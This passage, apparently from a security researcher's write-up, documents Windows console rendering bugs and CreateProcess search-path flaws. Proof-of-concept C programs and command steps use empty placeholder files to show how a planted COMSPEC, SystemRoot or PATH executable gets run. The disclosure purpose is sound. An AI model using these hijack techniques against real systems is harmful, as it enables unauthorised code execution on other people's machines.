			if (!WriteConsole(hConsole, szWide, niWide, &dwConsole, NULL))
				PrintConsole(hConsole,
				             L"WriteConsole() returned error %lu\n",
				             dwError = GetLastError());
			else if (dwConsole != niWide)
				PrintConsole(hConsole,
				             L"WriteConsole() wrote %lu of %lu wide characters\n",
				             dwConsole, niWide);
		if ((GetACP() == CP_UTF8) && (GetOEMCP() == CP_UTF8))
		{
			uiANSI = WideCharToMultiByte(CP_UTF8,
			                             WC_ERR_INVALID_CHARS,
			                             szWide, niWide,
			                             szANSI, sizeof(szANSI),
			                             (LPCCH) NULL, (LPBOOL) NULL);
			if (uiANSI == 0U)
				PrintConsole(hConsole,
				             L"WideCharToMultiByte() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
				if (!WriteConsoleA(hConsole, szANSI, uiANSI, &dwConsole, NULL))
					PrintConsole(hConsole,
					             L"WriteConsoleA() returned error %lu\n",
					             dwError = GetLastError());
				else if (dwConsole != uiANSI)
					PrintConsole(hConsole,
					             L"WriteConsoleA() wrote %lu of %lu characters\n",
					             dwConsole, uiANSI);
				if (!WriteFile(hConsole, szANSI, uiANSI, &dwConsole, (LPOVERLAPPED) NULL))
					PrintConsole(hConsole,
					             L"WriteFile() returned error %lu\n",
					             dwError = GetLastError());
				else if (dwConsole != uiANSI)
					PrintConsole(hConsole,
					             L"WriteFile() wrote %lu of %lu characters\n",
					             dwConsole, uiANSI);
			}
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 5.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(76) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. to demonstrate the blunder:
        
.\blunder.exe
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ €‚ƒ„…†‡ˆ‰S□‹ŒZ□‘’“”•–—˜™s□›œz□Y□ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿A□A□A□A□A□A□ÆC□E□E□E□E□I□I□I□I□ÐN□O□O□O□O□O□רU□U□U□U□Y□Þßa□a□a□a□a□a□æc□e□e□e□e□i□i□i□i□ðn□o□o□o□o□o□÷øu□u□u□u□y□þy□OUCH: contrary to the highlighted statements of the documentation cited above, normalisation form D is not correctly rendered – all (58) decomposed characters with combining code points are displayed wrong using 2 glyphs!
 Create the
            UTF-16LE
            encoded text file
            blunder.txt
            containing the extended characters of
            Code Page 1252
            in form C in the first line and in form D in the second line in an
            arbitrary, preferable empty directory:
        
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿU+FEFF, the
            intermediate and the trailing
            CR/LF
            pairs the file blunder.txt contains 309
            Unicode
            characters in 618 bytes.
         Display the file blunder.txt using the internal
            Type
            command:
        
TYPE blunder.txt
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ €‚ƒ„…†‡ˆ‰S□‹ŒZ□‘’“”•–—˜™s□›œz□Y□ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿A□A□A□A□A□A□ÆC□E□E□E□E□I□I□I□I□ÐN□O□O□O□O□O□רU□U□U□U□Y□Þßa□a□a□a□a□a□æc□e□e□e□e□i□i□i□i□ðn□o□o□o□o□o□÷øu□u□u□u□y□þy□OUCH: contrary to the highlighted statements of the documentation cited above, normalisation form D is not correctly rendered – all (58) decomposed characters with combining code points are displayed wrong using 2 glyphs!
 Create the
            UTF-16LE
            NFC
            encoded text file
            blunder-.txt
            containing the extended characters of
            Code Page 1252
            in an arbitrary, preferable empty directory:
        
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿU+FEFF and the
            trailing
            CR/LF
            pair the file blunder-.txt contains 126
            Unicode
            characters in 252 bytes.
         Display the file blunder-.txt using the internal
            Type
            command:
        
TYPE blunder-.txt
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
 Create the
            UTF-16LE
            NFD
            encoded text file
            blunder+.txt
            containing the extended characters of
            Code Page 1252
            in the same directory:
        
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿU+FEFF and the
            trailing
            CR/LF
            the file blunder+.txt contains 184
            Unicode
            characters in 368 bytes.
         Display the file blunder+.txt using the internal
            Type
            command:
        
TYPE blunder+.txt
€‚ƒ„…†‡ˆ‰S□‹ŒZ□‘’“”•–—˜™s□›œz□Y□ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿A□A□A□A□A□A□ÆC□E□E□E□E□I□I□I□I□ÐN□O□O□O□O□O□רU□U□U□U□Y□Þßa□a□a□a□a□a□æc□e□e□e□e□i□i□i□i□ðn□o□o□o□o□o□÷øu□u□u□u□y□þy□OUCH: contrary to the highlighted statements of the documentation cited above, normalisation form D is not correctly rendered – all (58) decomposed characters with combining code points are displayed wrong using 2 glyphs!
SetConsoleTitleW(),
            WriteConsoleOutputW()
            and
            WriteConsoleOutputCharacterW()
            is left as an exercise to the reader.
         Note: an exploration of this blunder and the
            bugs with the Win32 functions
            SetConsoleTitleA(),
            WriteConsoleA(),
            WriteConsoleOutputA(),
            WriteConsoleOutputCharacterA()
            and
            WriteFile()
            when the system’s (global)
            ANSI
            and OEM
            code pages
            are set to 65001 alias CP_UTF8 is also left as an
            exercise to the reader.
        
 Note: an exploration of this blunder
            with (low-level) Win32 functions like
            DrawText(),
            DrawTextEx(),
            ExtTextOut(),
            GrayString(),
            PolyTextOut(),
            TabbedTextOut()
            TabbedTextOut()
            and
            TextOut()
            or (high-level) Win32 functions like
            CreateWindowEx(),
            MessageBox(),
            MessageBoxEx(),
            MessageBoxIndirect(),
            MessageBoxTimeout(),
            SetConsoleTitle()
            and
            SetWindowText()
            is also left as an exercise to the reader.
        
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
CreateProcess(),
            CreateProcessAsUser(),
            CreateProcessWithLogonW()
            and
            CreateProcessWithTokenW()
            specifies:
        […] the first white space–delimited token of the command line specifies the module name. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin (see the explanation for the lpApplicationName parameter). If the file name does not contain an extension, .exe is appended. Therefore, if the file name extension is .com, this parameter must include the .com extension. If the file name ends in a period (.) with no extension, or if the file name contains a path, .exe is not appended. If the file name does not contain a directory path, the system searches for the executable file in the following sequence:OUCH⁰: the second position is the current directory of the
- The directory from which the application loaded.
- The current directory for the parent process.
- The 32-bit Windows system directory. Use the GetSystemDirectory function to get the path of this directory.
- The 16-bit Windows system directory. There is no function that obtains the path of this directory, but it is searched.
- The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
- The directories that are listed in the PATH environment variable. Note that this function does not search the per-application path specified by the App Paths registry key. To include this per-application path in the search sequence, use the ShellExecute function.
 OOPS: in the 64-bit execution environment, the
            GetSystemDirectory()
            function yields but the path of the 64-bit system directory!
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const	STARTUPINFO	si = {sizeof(si)};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	PROCESS_INFORMATION pi;
	DWORD	dwError = ERROR_SUCCESS;
	WCHAR	szBlunder[] = L"blunder.bat";
#ifdef BLUNDER
	if (!SetEnvironmentVariable(L"COMSPEC",
#if BLUNDER == 1
	                            L"blunder.com"))
#elif BLUNDER == 2
	                            L"blunder.exe"))
#elif BLUNDER == 3
	                            L"blunder.bat"))
#elif BLUNDER == 4
	                            L"blunder.cmd"))
#elif BLUNDER == 5
	                            L"blunder"))
#else
	                            (LPCWSTR) NULL))
#endif
		dwError = GetLastError();
	else
#endif
		if (!CreateProcess((LPCWSTR) NULL,
		                   szBlunder,
		                   (LPSECURITY_ATTRIBUTES) NULL,
		                   (LPSECURITY_ATTRIBUTES) NULL,
		                   FALSE,
		                   CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
		                   (LPWSTR) NULL,
		                   (LPCWSTR) NULL,
		                   &si,
		                   &pi))
			dwError = GetLastError();
		else
		{
			if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
				dwError = GetLastError();
			if (!CloseHandle(pi.hThread))
				dwError = GetLastError();
			if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
				dwError = GetLastError();
			if (!CloseHandle(pi.hProcess))
				dwError = GetLastError();
		}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.Note: the Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
            is expected here – the file blunder.bat does not
            exist yet.
         Create the text file blunder.bat with the following
            content next to the console application blunder.exe
            built in step 2.:
        
@REM Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
@ECHO %CMDCMDLINE%
@ECHO %~f0
@EXIT Execute the console application blunder.exe built in
            step 2. a second time and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
C:\Windows\system32\cmd.exe /c blunder.bat
C:\Users\Stefan\Desktop\blunder.bat
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
            Note: since the current directory is also the
            application directory here this doesn’t tell whether the batch
            script blunder.bat is executed from the first or the
            second position of the documented search sequence.
         Move the console application blunder.exe built in
            step 2. into another directory, for example the parent
            directory, then execute it there and evaluate its exit code:
        
MOVE blunder.exe .. ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
C:\Windows\system32\cmd.exe /c blunder.bat
C:\Users\Stefan\Desktop\blunder.bat
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
            Note: the batch script blunder.bat is
            executed from the current directory.
         Move the batch script blunder.bat created in
            step 4. into the same directory as the console application
            blunder.exe built in step 2., then execute the
            latter there again and evaluate its exit code to prove the
            documentation cited above wrong:
        
MOVE blunder.bat .. ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
'blunder.bat' is not recognized as an internal or external command,
operable program or batch file.
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
            OUCH¹: contrary to its documentation cited
            above, the
            CreateProcess()
            function fails to execute the batch script blunder.bat
            from the application directory – the cause for this
             Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Move the batch script blunder.bat back into the
            current directory, then execute the console application
            blunder.exe built in step 8. and evaluate its
            exit code to prove the documentation cited above incomplete:
        
MOVE ..\blunder.bat . .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.OUCH²: the
CreateProcess()
            function exhibits undocumented and
            dangerous behaviour – in order to execute a
            batch script it evaluates the environment variable
            COMSPEC to locate the
            Command Processor, indicated here with
            the Win32 error code 2 alias
            ERROR_FILE_NOT_FOUND!
         Create the empty file blunder.com in the current
            directory, then execute the console application
            blunder.exe built in step 8. a second time and
            evaluate its exit code:
        
COPY NUL: blunder.com .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH³: in order to execute a batch script the
CreateProcess()
            function executes an arbitrary (hostile) executable
            whose unqualified file name is the value of the
            environment variable COMSPEC from the application
            directory or the current directory, indicated here with the
            Win32 error code 193 alias
            ERROR_BAD_EXE_FORMAT
            due to the empty file blunder.com!
         Move the console application blunder.exe built in
            step 8. into another directory, for example the parent
            directory, then execute it there and evaluate its exit code:
        
MOVE /Y blunder.exe .. ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH⁴: in order to execute a batch script the
CreateProcess()
            function executes an arbitrary (hostile) executable
            whose unqualified file name is the value of the
            environment variable COMSPEC from the current
            directory!
         Move the empty file blunder.com created in
            step 10. into the same directory as the console application
            blunder.exe created in step 8., then execute the
            latter a third time and evaluate its exit code:
        
MOVE blunder.com .. ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH⁵: in order to execute a batch script the
CreateProcess()
            function executes an arbitrary (hostile) executable
            whose unqualified file name is the value of the
            environment variable COMSPEC from the application
            directory too!
         Optionally move the empty file blunder.com from the
            parent directory into an arbitrary directory listed
            in the environment variable PATH, for example the
            user-writable directory
            %USERPROFILE%\AppData\Local\Microsoft\WindowsApps\
            present since Windows 8, then execute the console
            application blunder.exe created in step 8. a
            last time and evaluate its exit code:
        
MOVE ..\blunder.com "%USERPROFILE%\AppData\Local\Microsoft\WindowsApps" ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH⁶: in order to execute a batch script the
CreateProcess()
            function executes an arbitrary (hostile) executable
            whose unqualified file name is the value of the
            environment variable COMSPEC from any
            directory in the search path!
         Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined as 0:
        
CL.EXE /DBLUNDER=0 blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 14. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
C:\Windows\system32\cmd.exe /c blunder.bat
C:\Users\Stefan\Desktop\blunder.bat
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
            Note: with the environment variable
            COMSPEC unset, the Win32 function
            CreateProcess()
            executes Cmd.exe from the
            system directoryas the Command Processor for batch scripts!
 Set the environment variable SystemRoot to the path of
            the current directory, create the subdirectory
            %SystemRoot%\System32\ and the empty file
            %SystemRoot%\System32\Cmd.exe, then execute the console
            application blunder.exe built in step 14. again
            and evaluate its exit code:
        
SET SystemRoot=%CD% MKDIR "%SystemRoot%\System32" COPY NUL: "%SystemRoot%\System32\Cmd.exe" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH⁷: with the environment variable
COMSPEC unset, the Win32 function
            CreateProcess()
            executes an arbitrary (hostile) application
            %SystemRoot%\System32\Cmd.exe as the
            Command Processor for batch scripts!
         Note: implemented properly, it would call the
            GetSystemDirectory()
            function to get the path name of the system directory
 instead
            to (ab)use the user-controlled environment variable
            SystemRoot!
        
 Delete the empty file %SystemRoot%\System32\Cmd.exe and
            remove the subdirectory %SystemRoot%\System32\ created
            in step 16., then unset the environment variable
            SystemRoot, execute the console application
            blunder.exe built in step 14. once more and
            evaluate its exit code:
        
ERASE "%SystemRoot%\System32\Cmd.exe" RMDIR "%SystemRoot%\System32" SET SystemRoot= .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH⁸: with the environment variables
COMSPEC and SystemRoot unset, the
            Win32 function
            CreateProcess()
            fails to execute batch scripts with Win32 error code
            267 alias
            ERROR_DIRECTORY!
        Finally delete all files which were moved outside the current directory:
ERASE ..\blunder.exe ..\blunder.com "%USERPROFILE%\AppData\Local\Microsoft\WindowsApps\blunder.com"
 Note: an exploration of this blunder with a batch
            script file Windows NT.bat,
            Windows&NT.bat, Windows,NT.bat,
            Windows;NT.bat, Windows=NT.bat,
            Windows^NT.bat, Windows&&NT.bat or
            %OS%.bat is left as an exercise to the reader.
        
 Note: an exploration of this blunder with the
            environment variable COMSPEC set to
            blunder.bat, blunder.exe or just
            blunder is left as an exercise to the reader.
        
 Note: a repetition of this falsification for the
            CreateProcessAsUser(),
            CreateProcessWithLogonW()
            and
            CreateProcessWithTokenW()
            functions is also left as an exercise to the reader.
        
Note: a repetition of this falsification in the 64-bit execution environment is also left as an exercise to the reader.
NeedCurrentDirectoryForExePath()
            specifies in its Remarkssection:
IfCAVEAT: the use of a (user-controlled) environment variable to remove the current directory from (its prominent second position in) the search path for applications is not safe – properly implemented, theCreateProcess()is called with a relative executable name, it will automatically search for the executable, calling this function to determine the search path.[…]
The value of the NoDefaultCurrentDirectoryInExePath environment variable determines the value this function returns. […] the existence of the NoDefaultCurrentDirectoryInExePath environment variable is checked, and not its value.
An example of an instance when this function should be called instead of relying on the default search path resolution algorithm in
CreateProcess()is the "cmd.exe" executable. It calls this function to determine the command search path because it does its own path resolution before calling CreateProcess. If this function returns TRUE, cmd.exe uses the path ".;%PATH%" for the executable search. If it returns FALSE, cmd.exe uses the path "%PATH%" for the search.
NeedCurrentDirectoryForExePath()
            function would query a registry entry writable only by privileged
            users, similar to CWDIllegalInDllSearch documented in
            the MSKB
            article
            2264107!
         Note: properly implemented in the first place, the
            Process Creation Flags
            of the four CreateProcess*() functions would support
            some CREATE_PROCESS_SEARCH_* flags, similar to the
            LOAD_LIBRARY_SEARCH_* flags of the
            LoadLibraryEx()
            function introduced with security update
            2533623!
        
 Note: properly implemented in the second place,
            functions similar to
            AddDllDirectory(),
            RemoveDllDirectory()
            and
            SetDefaultDllDirectories()
            or
            SetDllDirectory()
            would have been added.
            2533623
        
 OUCH⁰: the documentation for all four
            CreateProcess*() functions fails to specify that the
            environment variable NoDefaultCurrentDirectoryInExePath
            alters their search sequence!
        
 OUCH¹: the first highlighted statement of the
            documentation cited above contradicts the documentation for the
            CreateProcess*() functions cited earlier – the
            latter search the executable file only if its name contains no
            (directory) path at all, i.e. neither an absolute nor a relative
            path!
        
OUCH²: the last highlighted statements of the documentation cited above even contradict each other – the second statement specifies the true behaviour!
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const	STARTUPINFO	si = {sizeof(si)};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	PROCESS_INFORMATION pi;
	DWORD	dwError = ERROR_SUCCESS;
	WCHAR	szBlunder[] = L"blunder.com";
	if (!SetEnvironmentVariable(L"NoDefaultCurrentDirectoryInExePath",
#ifdef BLUNDER
	                            L""))
#else
	                            (LPCWSTR) NULL))
#endif
		dwError = GetLastError();
	else
		if (!CreateProcess((LPCWSTR) NULL,
		                   szBlunder,
		                   (LPSECURITY_ATTRIBUTES) NULL,
		                   (LPSECURITY_ATTRIBUTES) NULL,
		                   FALSE,
		                   CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
		                   (LPWSTR) NULL,
		                   (LPCWSTR) NULL,
		                   &si,
		                   &pi))
			dwError = GetLastError();
		else
		{
			if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
				dwError = GetLastError();
			if (!CloseHandle(pi.hThread))
				dwError = GetLastError();
			if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
				dwError = GetLastError();
			if (!CloseHandle(pi.hProcess))
				dwError = GetLastError();
		}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(35) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.Note: the Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
            is expected here – the file blunder.com does not
            exist yet.
         Create the empty file blunder.com in the current
            directory, then execute the console application
            blunder.exe built in step 2. a second time and
            evaluate its exit code:
        
COPY NUL: blunder.com .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.Note: the Win32 error code 193 alias
ERROR_BAD_EXE_FORMAT
            is expected here – the empty file blunder.com
            can’t be mapped into memory, i.e. the
            CreateProcess()
            function handles batch scripts like portable executableimage files.
 Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(35) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 5. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.Note: the Win32 error code 193 alias
ERROR_BAD_EXE_FORMAT
            is expected here – the empty file blunder.com is
            now found in the application directory!
         Move the console application blunder.exe built in
            step 5. into another directory, for example the parent
            directory, then execute it there and evaluate its exit code:
        
MOVE blunder.exe .. ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.Note: with the environment variable
NoDefaultCurrentDirectoryInExePath set, the
            CreateProcess()
            function fails to execute the file blunder.com –
            it doesn’t search the current directory any more!
         Finally delete the file blunder.exe which was moved
            outside the current directory:
        
ERASE ..\blunder.exe
CreateProcess(),
            CreateProcessAsUser(),
            CreateProcessWithLogonW()
            and
            CreateProcessWithTokenW()
            states:
        Creates a new process and its primary thread. […]Caveat: this enumeration may erroneously be interpreted that the[…]BOOL CreateProcess( [in, optional] LPCTSTR lpApplicationName, [in, out, optional] LPTSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCTSTR lpCurrentDirectory, [in] LPSTARTUPINFO lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation );
[in, optional] lpApplicationNameThe name of the module to be executed. This module can be a Windows-based application. It can be some other type of module (for example, MS-DOS or OS/2) if the appropriate subsystem is available on the local computer.
The string can specify the full path and file name of the module to execute or it can specify a partial name. In the case of a partial name, the function uses the current drive and current directory to complete the specification. The function will not use the search path. This parameter must include the file name extension; no default extension is assumed.
The lpApplicationName parameter can be NULL. In that case, the module name must be the first white space-delimited token in the lpCommandLine string. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin; otherwise, the file name is ambiguous. For example, consider the string "c:\program files\sub dir\program name". This string can be interpreted in a number of ways. The system tries to interpret the possibilities in the following order:
- c:\program.exe
- c:\program files\sub.exe
- c:\program files\sub dir\program.exe
- c:\program files\sub dir\program name.exe
CreateProcess*() functions always
            append the extension .exe!
        The MSKB article 812486 states:
This issue may occur if the path of the executable file for the service contains spaces.When Windows starts a service, it parses the path of the service from left to right. If both of the following conditions are true, Windows may locate and try to run the file or folder before it locates and runs the executable file for the service:
For example, if the path of the executable file for a service is C:\Program Files\MyProgram\MyService.exe, and if a folder that is named C:\Program also exists on your hard disk, Windows locates the C:\Program folder on your hard disk before the C:\Program Files\MyProgram\My Service.exe file, and then tries to run it.
- The path of a service’s executable file contains spaces.
- There is a file or folder on your computer’s hard disk that has the has the same name as a file or folder in the path to the service's executable file.
 Create the text file blunder.c with the following
